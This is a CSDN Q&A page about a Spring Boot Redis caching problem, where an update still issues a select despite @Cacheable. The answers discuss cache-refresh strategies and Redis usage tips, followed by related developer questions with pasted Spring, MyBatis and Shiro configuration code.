redis查找和更新的缓存问题 20C

1.首先先进行查找uuid为123的用户

    @GetMapping("/{uuid}")
    public User get(@PathVariable String uuid) {
        return userService.findByUuid(uuid);
    }

        @Cacheable(value = "userInfo", key = "'findByUuid-' + #uuid")
    @Override
    public User findByUuid(String uuid) {
        return userDao.findOne(uuid);
    }

能确保uuid为123的用户查找得出来而且查找到的用户也存入缓存.(多查找几次控制台也只显示一次的sql语句)

2.更新uuid为123的用户

    @PutMapping("/{uuid}")
    public String update(@PathVariable String uuid,@RequestBody User updateUser){
        User user = userService.findByUuid(uuid);
        user.setUserName(updateUser.getUserName());
        user.setPassword(updateUser.getPassword());
        user.setAge(updateUser.getAge());
        user.setPhone(updateUser.getPhone());
        userService.save(user);
        return "success";
    }

        @CacheEvict(value = "userInfo", key = "'findByUuid-' + #user.getUuid()")
    @Override
    public User save(User user) {
        return userDao.save(user);
    }

更新时执行却又执行了select ,按道理来说findByUuid(123)应该被存入缓存,而不会打印select 语句才对啊.
以下是更新uuid为123时控制台打印的语句

   Hibernate: 
    select
        user0_.uuid as uuid1_0_0_,
        user0_.age as age2_0_0_,
        user0_.password as password3_0_0_,
        user0_.phone as phone4_0_0_,
        user0_.user_name as user_nam5_0_0_ 
    from
        user user0_ 
    where
        user0_.uuid=?
   Hibernate: 
    update
        user 
    set
        age=?,
        password=?,
        phone=?,
        user_name=? 
    where
        uuid=?

6个回答

[主动]需要操作人员去操作,或者定时调度
  [被动]由用户触发更新
  [预加载]提前加载好数据
方案1
[主动]后台点击更新缓存按钮,从DB查找最新数据集合,删除原缓存数据,存储新数据到缓存;
问题:更新过程中删除掉缓存后刚好有业务在查询,那么这个时候返回的数据会是空,会影响用户体验
方案2
[被动]前台获取数据时发现没有缓存数据就会去数据库同步数据到缓存
问题:当并发请求获取缓存数据不存在的时候,就会产生并发的查询数据的操作。
方案3
[主动]后台点击更新缓存按钮,从DB查找最新数据集合,这里不删除缓存,通过遍历数据覆盖和删除掉无效的数据
问题:逻辑相对麻烦,而且更新机制无法通用;
推荐
  以上的几种更新方案我都遇到过,因为产生了各种问题,所以我想到了一个相对好的方案,类似预加载功能,先把数据加载到缓存中,缓存成功后再切换显示最新的数据,将旧数据设置过期;
方案4
  [主动][预加载]前台获取缓存的时候需要先得到缓存数据对应的Redis Key(简称:[ShowingKey]),然后根据[ShowingKey]去读取缓存数据(简称:[缓存];
[ShowingKey](可以是最近一次更新缓存的时间戳或者根据自己规则自定义)
[缓存](需要缓存的数据,如:DB数据等)
需要两块数据:
举个栗子:
  我们现在有个业务需要缓存今日上新商品数据,缓存到Hash中
  更新逻辑:
  后台编辑人员操作完数据的时候点击更新按钮,获取服务器当前时间=1469938351000=[更新时间戳],然后获取DB数据,缓存到Goods:Todays:1469938351000中,添加缓存数据成功后,获取Goods:Todays:ing中的时间戳1449538371020=[上一次更新时间戳],更新Goods:Todays:ing值=[更新时间戳]=1469938351000,更新成功后可以把[上一次更新时间戳]对应的缓存设置过期时间,我一般是设置5秒后过期。(注意旧数据一定要设置过期时间,不能直接删除,因为在切换[ShowingKey]的过程中可能还有业务在使用)
Key string key=Goods:Todays:ing 内容=最近一次的更新时间戳
Hash Key=Goods:Todays:{0} {0}=时间戳
[缓存]对应Redis Key 规则
[ShowingKey]对应的Redis Key
更新总结
第1种更新方案影响用户体验一般不推荐使用
第2种更新方案可以通过程序锁,锁住更新操作只能有一个进入DB查询,可以避免问题
第3种更新方案不会有第1,2 的问题,但是更新逻辑写起来比较麻烦,而且更新方案不能抽象通用
第4种更新方案使用提前加载到缓存,然后在切换需要显示的缓存数据,可以完美解决1,2,3中的问题
redis内存不足,滥用
问题
数据不断累加,无效数据未清理,缓存未设置过期时间
存储数据中包含未使用到字段,整个对象序列化到redis中
冷数据,或者根本不会再去使用的无效数据没有清理
解决
数据区分无效时间,设置过期时间,使无效数据过期;(如:通过日期后缀命名Key)
区分冷数据,清理掉冷数据;
缓存数据从简,redis key命名从简,数据字段命名从简,无效字段不添加在缓存中;
键命名规范
内存数据库,键名长度影响有限内存空间,所以命名应该控制长度,简短易懂;
大小写规范
根据业务命名,相同业务统一的Key前缀
其他经验
数值累加,get,set+1并发导致累加不准确
使用redis increment 自增数值的机制不会有累加不准确的问题
.net 类库 ServiceStack 3.9.71.0 的一个问题
  SetEntryInHash 返回 bool,只有第一次新增的时候返回的是true,后面修改成功了也都是返回false
  源码:SetEntryInHash 方法,读取hset的结果 判断是否等于1,返回bool
  
  我们通过命令: hset 第一次sflyq key不存在,添加成功返回的执行结果是:1 hset 第一次sflyq key已经存在,修改成功购返回结果:0
  
  所以结果很明显,通过SetEntryInHash 判断hash是否key value 是否设置成功是有问题的,只有第一次设置会返回 ture

可以考虑用户长时间不操作自动清除redis内的数据,这样可以通过 在redis设置用户数据的过期时间,减少redis的整体数据量。用户数据在redis里面无法取得的时候,再从数据库取得,然后存入redis,同时设置过期时间。

redis-cli下 用 keys + 通配符 可以查到现有的所有键名。list里面的数据 可以通过 lrange 查看。

hibernate更新先查找session缓存(一级),如果没有查找数据库(这时候才是二级缓存)

更新时执行却又执行了select ,按道理来说findByUuid(123)应该被存入缓存,而不会打印select 语句才对啊.
以下是更新uuid为123时控制台打印的语句

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
查询数据放入了redis中缓存,怎么查看缓存的数据呀

作为新手,尝试读取数据的时候缓存数据在redis中,已经放成功了, 去redis中找没找到,要怎么查看我redis中放了的缓存数据。 谢谢大神指导。

redis怎么查询key和删除缓存

我是刚接触redis对redis不是太了解,有哪位大牛能告诉我在redis中怎么查询key和删除缓存的,求帮助

springMVC拦截器中使用redis查找用户菜单权限列表集合的问题,求大神指教,急急!

我最近在做后台用户权限的功能,登入的用户信息存入redis缓存中,当用户访问菜单时,然后在拦截器中根据用户查找redis获取用户菜单权限的列表,并进行遍历判断是否拥有权限,然后遇到一个问题,用户查找redis获取对象没问题,当获取集合列表的时候就为空 这是怎么回事?

redis做缓存异常时查询数据库

我依照[redis缓存](http://blog.csdn.net/xiadi934/article/details/50786293 "") 这篇文章做了一个项目. 有一个问题就是redis服务器跟mysql服务器都正常的时候运行都没有问题,但是当我 关掉redis服务器的时候,项目就报Connection refused: connect异常; 如何设置当redis异常时就直接向mysql请求数据就可以?

关于redis缓存的问题,刚接触。。

目前公司有个需求,每个公司可以设置一个编号。例如编号名称:A,编号的类型:按照年或者年月或者年月日或者无日期,后缀位数:5位,起始值:自定义。 问题事例:例如当前A2019040200001,每次请求接口递增1,则变为A2019040200002,依次类推。 如果设置类型选为年月日,则3号的编号位A2019040300001。由于之前使用的memcached,缓存时间的最长是30天,所以选择类型为年的时候就缓存不了了,所以想尝试使用下redis,小弟刚接触redis,再这里想请教个问题。 redis缓存每个公司的编号时,是存在一个key中吗,还是每个公司存不同的key。 如果存成一个key,查找的时候是怎么样查询到每个公司对应的编号呢?

redis命中率优化解决方法

新上的codis集群,redis实际的命中率特别低,一半一半,如何优化,求老司机指点?

redis缓存关于from表单提交查询数据无效的问题。

请问各位亲,使用redis缓存后,有遇到页面表单提交查询数据没效果的问题吗? 查询出来的还是缓存中当前页面的数据。

关于多表联查的缓存问题,使用什么样的技术可以解决?

最近在做一个后台的权限管理系统,使用了shiro来进行权限的空值,所以每次登陆的时候都会到数据库里查找当前用户所对应的角色和权限,每次都要通过从账号到用户,到角色,到权限的查询,中间还有两张关联表,所以很耗费时间 上面要求让我做一个缓存,将查询结果缓存起来,同时要做到每个角色或者用户的更改缓存中的数据也需要清除或更改 首先我想的是mybatis的二级缓存应该是不能用,每个缓存是以namespace为单位的,用户表,角色表,角色用户关联表,无论我把sql写在那个namespace下,另一张表中数据的更改并不会影响的这边,所以会出现数据错误的情况...后来上边给了我一个文档,是spring和ehcache结合的使用,我查看了之后发现他们其实有着相同的地方,他是利用了aop的思想,在执行查询方法的时候查询是否有缓存,如果没有就利用反射的原理将该方法的全名做为cache的键,将查询结果作为值保存在cache中;然后在执行增删改的时候也是利用反射的原理获取该方法的所在的类,然后清除缓存中所有以该类名开头的缓存..这样也就是说我在用户的service下执行了角色的查询,那么我只有在操作该类下的增删改方法的时候才能清除缓存,然而我如果对角色进行了更改完全不会影响到这边的缓存操作。。除非我将用户角色所有的方法全部放在一个server下,不然缓存是会出现错误的 希望有朋友帮我解决这个问题,我是新手,也不了解redis,不知道能否解决这样的问题?求帮助。。

spring+mybatis+redis 开启缓存后出现MybatisSystemException

错误提示: ![图片说明](https://img-ask.csdn.net/upload/201608/04/1470284884_917134.png) Mapper.xml ![图片说明](https://img-ask.csdn.net/upload/201608/04/1470284833_211539.png) spring-mybatis.xml: ``` <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd"> <!-- 自动扫描 --> <context:component-scan base-package="com.yc.mybank" /> <context:annotation-config></context:annotation-config> <!-- 引入配置文件 --> <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="location" value="classpath:jdbc.properties" /> </bean> <!-- 抽象bean,在這里配置所有的通用 otomikos聯接池配置屬性 --> <bean id="abstractXADataSource" class="com.atomikos.jdbc.nonxa.AtomikosNonXADataSourceBean" init-method="init" destroy-method="close" abstract="true"> <property name="poolSize" value="3" /> <property name="minPoolSize" value="1" /> <property name="maxPoolSize" value="10" /> <property name="borrowConnectionTimeout" value="60" /> <property name="reapTimeout" value="20" /> <!-- 最大空闲时间 --> <property name="maxIdleTime" value="60" /> <property name="maintenanceInterval" value="60" /> <property name="loginTimeout" value="60" /> </bean> <bean id="OdataSource" parent="abstractXADataSource"> <!-- value只要两个数据源不同就行,随便取名 --> <property name="uniqueResourceName" value="oracle/db" /> <property name="user"> <value>${uname}</value> </property> <property name="password"> <value>${pwd}</value> </property> <property name="url"> <value>${url}</value> </property> <property name="driverClassName"> <value>${driverName}</value> </property> </bean> <bean id="SdataSource" parent="abstractXADataSource"> <!-- value只要两个数据源不同就行,随便取名 --> <property name="uniqueResourceName" value="mysql" /> <property name="user"> <value>${mysql.uname}</value> </property> <property name="password"> <value>${mysql.pwd}</value> </property> <property name="url"> <value>${mysql.url}</value> </property> <property name="driverClassName"> <value>${mysql.driverName}</value> </property> </bean> <!-- spring和MyBatis完美整合,不需要mybatis的配置映射文件 --> <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="OdataSource" /> <!-- 自动扫描mapping.xml文件 --> <property name="mapperLocations" value="classpath:com/yc/mybank/mapper/userMapper.xml"></property> <property name="configurationProperties"> <props> <prop key="cacheEnabled">true</prop> <prop key="lazyLoadingEnabled">false</prop> <prop key="aggressiveLazyLoading">true</prop> </props> </property> </bean> <!-- spring和MyBatis完美整合,不需要mybatis的配置映射文件 --> <bean id="sqlSessionFactory2" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="SdataSource" /> <!-- 自动扫描mapping.xml文件 --> <property name="mapperLocations" value="classpath:com/yc/mybank/mapper/userMapper.xml"></property> <property name="configurationProperties"> <props> <prop key="cacheEnabled">true</prop> <prop key="lazyLoadingEnabled">false</prop> <prop key="aggressiveLazyLoading">true</prop> </props> </property> </bean> <!-- 创建sqlSession --> <bean id="sqlSession" class="org.mybatis.spring.SqlSessionTemplate"> <!-- 只能通过 构造方法注入 sqlSessionFactory --> <constructor-arg ref="sqlSessionFactory"></constructor-arg> </bean> <!-- DAO接口所在包名,Spring会自动查找其下的类 --> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer"> <property name="basePackage" value="com.yc.mybank.mapper" /> <property name="sqlSessionFactoryBeanName" value="sqlSessionFactory"></property> </bean> </beans> ``` 单元测试类代码: ``` package mybank_springMVC; import javax.annotation.Resource; import org.junit.Before; import org.junit.runner.RunWith; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import com.yc.mybank.bean.BankAccount; import com.yc.mybank.biz.UserBiz; import com.yc.mybank.dao.UserDao; import com.yc.mybank.dao.cache.RedisCache; import com.yc.mybank.dao.cache.RedisPool; @RunWith(SpringJUnit4ClassRunner.class) //表示继承了SpringJUnit4ClassRunner类 @ContextConfiguration(locations = {"classpath:spring-mybatis.xml"}) public class Test { @Resource private UserBiz userBiz; @Resource private SqlSessionTemplate session; @Resource private UserDao userDao; @org.junit.Test public void testSqlsession(){ //System.out.println(userBiz); //System.out.println(session); //System.out.println(userDao); System.out.println(RedisCache.createRedis()); //System.out.println(RedisCache.createRedis()); System.out.println(userBiz.getUser(3)); //ApplicationContext ac=new ClassPathXmlApplicationContext("spring-mybatis.xml"); //System.err.println(ac.getBean("userDao")); } } ``` Redis代码: ``` package com.yc.mybank.dao.cache; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReadWriteLock; import java.util.concurrent.locks.ReentrantLock; import java.util.concurrent.locks.ReentrantReadWriteLock; import org.apache.ibatis.cache.Cache; import com.sun.org.apache.xml.internal.utils.SerializableLocatorImpl; import com.yc.mybank.util.SerializableUtil; import redis.clients.jedis.Jedis; public class RedisCache implements Cache { private String id; private Jedis jedisClient; //同步锁 private ReadWriteLock readWriteLock=new ReentrantReadWriteLock(); public RedisCache(String id) { if(id==null){ throw new RuntimeException("cache instance required an ID"); } this.jedisClient=createRedis(); this.id=id; } /** * 将缓存中的数据删掉 */ public void clear() { // TODO Auto-generated method stub this.jedisClient.flushDB(); } public String getId() { // TODO Auto-generated method stub return id; } /** * 通过key到缓存中取值 */ public Object getObject(Object key) { // TODO Auto-generated method stub byte[] valueBytes=SerializableUtil.serialize(key); Object obj=SerializableUtil.unserializable(valueBytes); return obj; } public static Jedis createRedis(){ Jedis jedis=RedisPool.getPool().getResource(); return jedis; } /** * 同步锁 */ public ReadWriteLock getReadWriteLock() { // TODO Auto-generated method stub return readWriteLock; } public int getSize() { Long size=this.jedisClient.dbSize(); int re=Integer.valueOf(size+""); return re; } public void putObject(Object key, Object value) { // TODO Auto-generated method stub byte[] keyByte=SerializableUtil.serialize(key); byte[] valueByte=SerializableUtil.serialize(value); this.jedisClient.set(keyByte, valueByte); } public Object removeObject(Object key) { byte[] keyByte=SerializableUtil.serialize(key); return this.jedisClient.expire(keyByte,0); } } ``` redis测试通过没问题,能取得到,在不开启缓存的情况下业务能进行

springboot项目打包成jar之后,显示redis连接失败无法连接到192.168.5.8但是我配置文件redis配置端口是127.0.0.1这是什么情况?

如题,我的springboot中配置的redis明明是127.0.0.1的地址服务器上redis也是127.0.0.1 但是jar启动报错是 无法连接到192.168.5.8 难道是项目缓存嘛? 但是我用ide检索192.168.5.8检索不到,用的是intellij ![图片说明](https://img-ask.csdn.net/upload/201909/24/1569294513_355959.jpg) ![图片说明](https://img-ask.csdn.net/upload/201909/24/1569294523_67987.jpg)

spring data redis RedisTemplate 操作

工程结构:springmvc + mybatis: 现在集成redis做基础数据的缓存,如何实现通过PO类的属性查找一个List<PO>(类似Java), 如果没有直接的实现办法,请大家给一个思路: 谢谢!

spring缓存注解 @cacheable是如何知道自己要使用哪一种缓存来存储的?

spring缓存注解 @cacheable是如何知道自己要使用哪一种缓存来存储的? 比如我在pom文件同时导入redis和ehcache,注解是如何知道该用哪个缓存呢?假如我一个都不导入的话,是不是默认用本地缓存?

springboot下 shiro + redis 验证后无动作

shiro + redis 由于shiro之前没有用过 , 这次使用也是比较仓促 希望大佬们多多帮组 > 跪谢 可以在redis中看到 session的存储 验证后并不跳转到首页 附上 代码 1. 目录结构 ![图片说明](https://img-ask.csdn.net/upload/201904/26/1556279189_984298.jpg) 2. shiroConfig.java ``` import com.chenzs.common.mapper.RoleMapper; import org.apache.shiro.authc.credential.HashedCredentialsMatcher; import org.apache.shiro.mgt.SecurityManager; import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.apache.shiro.web.session.mgt.DefaultWebSessionManager; import org.crazycake.shiro.RedisCacheManager; import org.crazycake.shiro.RedisManager; import org.crazycake.shiro.RedisSessionDAO; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import javax.annotation.Resource; import java.util.LinkedHashMap; import java.util.Map; /** * @author ChenZS */ @Configuration public class ShiroConfig { @Resource private RoleMapper roleMapper; @Bean public ShiroFilterFactoryBean shirFilter(SecurityManager securityManager) { System.err.println("ShiroConfiguration.shirFilter() ---> start "); ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); shiroFilterFactoryBean.setSecurityManager(securityManager); //拦截器. Map<String,String> filterChainDefinitionMap = new LinkedHashMap<String,String>(); // 配置不会被拦截的链接 顺序判断 // filterChainDefinitionMap.put("/css/**", "authc"); // filterChainDefinitionMap.put("/js/**", "authc"); // filterChainDefinitionMap.put("/img/**", "authc"); // filterChainDefinitionMap.put("/components/**", "authc"); // filterChainDefinitionMap.put("/favicon.ico", "authc"); //配置退出 过滤器,其中的具体的退出代码Shiro已经替我们实现了 // filterChainDefinitionMap.put("/logout", "logout"); //<!-- 过滤链定义,从上向下顺序执行,一般将/**放在最为下边 -->:这是一个坑呢,一不小心代码就不好使了; //<!-- authc:所有url都必须认证通过才可以访问; anon:所有url都都可以匿名访问--> // filterChainDefinitionMap.put("/**", "authc"); // 如果不设置默认会自动寻找Web工程根目录下的"/login"页面 shiroFilterFactoryBean.setLoginUrl("/login"); // // 登录成功后要跳转的链接 shiroFilterFactoryBean.setSuccessUrl("/blog"); //未授权界面; shiroFilterFactoryBean.setUnauthorizedUrl("/404"); filterChainDefinitionMap.put("/static/**", "anon"); // filterChainDefinitionMap.put("/", "perms[admin]"); // filterChainDefinitionMap.put("/user/**", "authc"); shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); // //从数据库获取 对应角色 // List<Role> list = roleMapper.selectByExample(null); // // for (SysPermissionInit sysPermissionInit : list) { // filterChainDefinitionMap.put(sysPermissionInit.getUrl(), // sysPermissionInit.getPermissionInit()); // } // // shiroFilterFactoryBean // .setFilterChainDefinitionMap(filterChainDefinitionMap); System.out.println("Shiro拦截器工厂类注入成功"); return shiroFilterFactoryBean; } /** * 凭证匹配器 * (由于我们的密码校验交给Shiro的SimpleAuthenticationInfo进行处理了 * ) * @return */ @Bean public HashedCredentialsMatcher hashedCredentialsMatcher(){ HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher(); //散列算法:这里使用MD5算法; hashedCredentialsMatcher.setHashAlgorithmName("md5"); //散列的次数,比如散列两次,相当于 md5(md5("")); hashedCredentialsMatcher.setHashIterations(1); return hashedCredentialsMatcher; } @Bean public MyShiroRealm myShiroRealm(){ MyShiroRealm myShiroRealm = new MyShiroRealm(); myShiroRealm.setCredentialsMatcher(hashedCredentialsMatcher()); return myShiroRealm; } @Bean public SecurityManager securityManager(){ DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); //设置realm securityManager.setRealm(myShiroRealm()); // 自定义缓存实现 使用redis securityManager.setCacheManager(cacheManager()); // 自定义session管理 使用redis securityManager.setSessionManager(sessionManager()); return securityManager; } /** * 开启shiro aop注解支持. * 使用代理方式;所以需要开启代码支持; * @param securityManager * @return */ @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager){ AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor(); authorizationAttributeSourceAdvisor.setSecurityManager(securityManager); return authorizationAttributeSourceAdvisor; } /** * cacheManager 缓存 redis实现 * 使用的是shiro-redis开源插件 * * @return */ public RedisCacheManager cacheManager() { RedisCacheManager redisCacheManager = new RedisCacheManager(); redisCacheManager.setRedisManager(redisManager()); return redisCacheManager; } /** * 配置shiro redisManager * 使用的是shiro-redis开源插件 * * @return */ public RedisManager redisManager() { RedisManager redisManager = new RedisManager(); redisManager.setHost("192.168.0.12"); redisManager.setPort(6379); redisManager.setExpire(1800 * 60 *30);// 配置缓存过期时间 redisManager.setTimeout(0); redisManager.setPassword("123456789+"); // redisManager.setPassword(password); return redisManager; } /** * Session Manager * 使用的是shiro-redis开源插件 */ @Bean public DefaultWebSessionManager sessionManager() { DefaultWebSessionManager sessionManager = new DefaultWebSessionManager(); sessionManager.setSessionDAO(redisSessionDAO()); return sessionManager; } // @Bean("sessionManager") // public SessionManager sessionManager(ShiroSessionDao shiroSessionDa){ // DefaultWebSessionManager sessionManager = new DefaultWebSessionManager(); // sessionManager.setGlobalSessionTimeout(60 * 60 * 1000); // sessionManager.setSessionValidationSchedulerEnabled(true); // sessionManager.setSessionIdUrlRewritingEnabled(false); // sessionManager.setSessionDAO(shiroSessionDao); // /** 此注释代码 就是将JSESSIONID变成自定义名称 WEBJSESSIONID // sessionManager.setSessionIdCookieEnabled(true); // SimpleCookie cookie = new SimpleCookie("WEBJSESSIONID"); // cookie.setHttpOnly(true); // cookie.setMaxAge(60 * 60 * 1000); // sessionManager.setSessionIdCookie(cookie); **/ // return sessionManager; // } /** * RedisSessionDAO shiro sessionDao层的实现 通过redis * 使用的是shiro-redis开源插件 */ @Bean public RedisSessionDAO redisSessionDAO() { RedisSessionDAO redisSessionDAO = new RedisSessionDAO(); redisSessionDAO.setRedisManager(redisManager()); // // DefaultWebSessionManager sessionManager = new DefaultWebSessionManager(); // sessionManager.setGlobalSessionTimeout(60 * 60 * 1000); // sessionManager.setSessionValidationSchedulerEnabled(true); // sessionManager.setSessionIdUrlRewritingEnabled(false); // /** 此注释代码 就是将JSESSIONID变成自定义名称 WEBJSESSIONID */ // sessionManager.setSessionIdCookieEnabled(true); // SimpleCookie cookie = new SimpleCookie("WEBJSESSIONID"); // cookie.setHttpOnly(true); // cookie.setMaxAge(60 * 60 * 1000); // sessionManager.setSessionIdCookie(cookie); return redisSessionDAO; } } ``` ------ 3. MyShiroRealm.java ``` import com.chenzs.common.model.Role; import com.chenzs.common.model.User; import com.chenzs.common.service.RoleService; import com.chenzs.common.service.UserService; import org.apache.shiro.authc.*; import org.apache.shiro.authz.AuthorizationInfo; import org.apache.shiro.authz.SimpleAuthorizationInfo; import org.apache.shiro.realm.AuthorizingRealm; import org.apache.shiro.subject.PrincipalCollection; import javax.annotation.Resource; import java.io.Serializable; import java.util.List; /** * @author ChenZS */ public class MyShiroRealm extends AuthorizingRealm{ @Resource private UserService userService; @Resource private RoleService roleService; @Override protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) { System.out.println("权限配置-->MyShiroRealm.doGetAuthorizationInfo()"); SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo(); // User user = (User) principals.getPrimaryPrincipal(); // List<Role> roleList = roleService.listRolesByUser(user); // TODO 后续应根据用户id 获取对应的权限,而不是现在的所有权限 ( 现在只有一种权限 --> admin ) List<Role> roleList = roleService.getListRole(); for (Role role : roleList) { authorizationInfo.addRole(role.getRole()); } return authorizationInfo; } @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException { System.err.println("MyShiroRealm.doGetAuthenticationInfo() --> 开始权限验证!"); //获取用户的输入的账号. String username = (String) token.getPrincipal(); System.out.println(token.getCredentials()); //通过username从数据库中查找 User对象,如果找到,没找到. //实际项目中,这里可以根据实际情况做缓存,如果不做,Shiro自己也是有时间间隔机制,2分钟内不会重复执行该方法 User user = userService.getUser(username); if (user.getId() == null) { return null; } // User user = response.getData(); if (!user.getStatus()) { throw new LockedAccountException(username + "账号未激活或账号被封禁!"); } SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo( user, user.getPassword(), getName() ); return authenticationInfo; } } ``` 4. loginController .java ``` import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.IncorrectCredentialsException; import org.apache.shiro.authc.LockedAccountException; import org.apache.shiro.authc.UnknownAccountException; import org.apache.shiro.authc.UsernamePasswordToken; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; @Controller @RequestMapping("/login") public class LoginController { private static final String PATH = "login/"; @RequestMapping("") public String index() { return PATH + "index"; } /** * 登录提交 * @param model * @return * @throws Exception */ @PostMapping("/login_info") public String login(@RequestParam(required = true, value = "userName") String userName,@RequestParam(required = true, value = "password") String password, Model model) throws Exception { //1、验证用户名和密码 org.apache.shiro.subject.Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(userName, password); String msg = "OK"; try { subject.login(usernamePasswordToken); // return "myhome/index"; } catch (UnknownAccountException e) { System.err.println("UnknownAccountException -- > 账号不存在:"); msg = "账号不存在!"; } catch (IncorrectCredentialsException e) { System.err.println("IncorrectCredentialsException -- > 密码不正确:"); msg = "密码不正确!"; } catch (LockedAccountException e) { System.err.println("LockedAccountException -- > 账号被锁定"); msg = "账号被锁定!"; } catch (Exception e) { System.err.println(e.getMessage()); } model.addAttribute("msg", msg); // return PATH + "index"; return "myhome/index"; } } ``` wechat: chen1749144759 求大佬 帮助 真的没有赏金了

ssm 报错:org.springframework.context.annotation.internalAsyncAnnotationProcessor

# ssm 框架 在本地完美运行放到Linux服务器报错 以下内容 Error creating bean with name '**org.springframework.context.annotation.internalAsyncAnnotationProcessor'**: Initialization of bean failed; nested exception is java.lang.NoSuchMethodError: org.springframework.aop.interceptor.AsyncExecutionInterceptor.<init>(Ljava/util/concurrent/Executor;Lorg/springframework/aop/interceptor/AsyncUncaughtExceptionHandler;)V ## 之前是没有加 redis,没有发现问题,这次我加了redis然后就报错,大神们帮忙看看解决解决 这是spring-mvc配置: ``` ==============spring-mvc===================== <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:task="http://www.springframework.org/schema/task" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-4.0.xsd" > <!-- 自动扫描该包,使SpringMVC认为包下用了@controller注解的类是控制器 --> <mvc:annotation-driven/> <context:component-scan base-package="com.bls.mp.*"/> <!--避免IE执行AJAX时,返回JSON出现下载文件 --> <bean id="mappingJacksonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"> <property name="supportedMediaTypes"> <list> <value>text/html;charset=UTF-8</value> </list> </property> </bean> <bean class="com.bls.mp.common.SpringTool"/> <!-- 启动SpringMVC的注解功能,完成请求和注解POJO的映射 --> <!-- <bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter"> <property name="messageConverters"> <list> <ref bean="mappingJacksonHttpMessageConverter" /> JSON转换器 </list> </property> </bean>--> <!-- 定义跳转的文件的前后缀 ,视图模式配置--> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <!-- 这里的配置我的理解是自动给后面action的方法return的字符串加上前缀和后缀,变成一个 可用的url地址 --> <property name="prefix" value="/WEB-INF/resources/jsp/" /> <property name="suffix" value=".jsp" /> </bean> <!-- 配置文件上传,如果没有使用文件上传可以不用配置,当然如果不配,那么配置文件中也不必引入上传组件包 --> <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver"> <!-- 默认编码 --> <property name="defaultEncoding" value="utf-8" /> <!-- 文件大小最大值 --> <property name="maxUploadSize" value="10485760000" /> <!-- 内存中的最大值 --> <property name="maxInMemorySize" value="40960" /> </bean> <!-- 全局异常处理器 --> <bean class="com.bls.mp.common.exception.CustomExceptionResolver"></bean> <mvc:annotation-driven/> <!-- 拦截器配置 --> <mvc:interceptors> <mvc:interceptor> <mvc:mapping path="/setadmin"/> <!--<mvc:mapping path="/user/userList"/> --> <mvc:mapping path="/Blocker"/> <mvc:mapping path="/grouponteam/grouponRanking"/> <mvc:mapping path="/grouponteam/arriverTime"/> <mvc:mapping path="/grouponteam/paging"/> <mvc:mapping path="/grouponteam/conditionGrouponT"/> <mvc:mapping path="/hospital/hospitalInfo"/> <mvc:mapping path="/hospital/setting"/> <mvc:mapping path="/hospital/orderdetails"/> <mvc:mapping path="/grouponteam/grouponTeamCountAndMoney"/> <mvc:mapping path="/grouponteam/OrderRefundList"/> <mvc:mapping path="/grouponteam/orderdetails"/> <mvc:mapping path="/grouponteam/paging"/> <mvc:mapping path="/grouponteam/conditionGrouponT"/> <mvc:mapping path="/grouponteam/grouponRanking"/> <mvc:mapping path="/grouponteam/arriverTime"/> <mvc:mapping path="/grouponteam/grouponTeamCountAndMoney"/> <mvc:mapping path="/imguoload"/> <mvc:mapping path="/imguoloads"/> 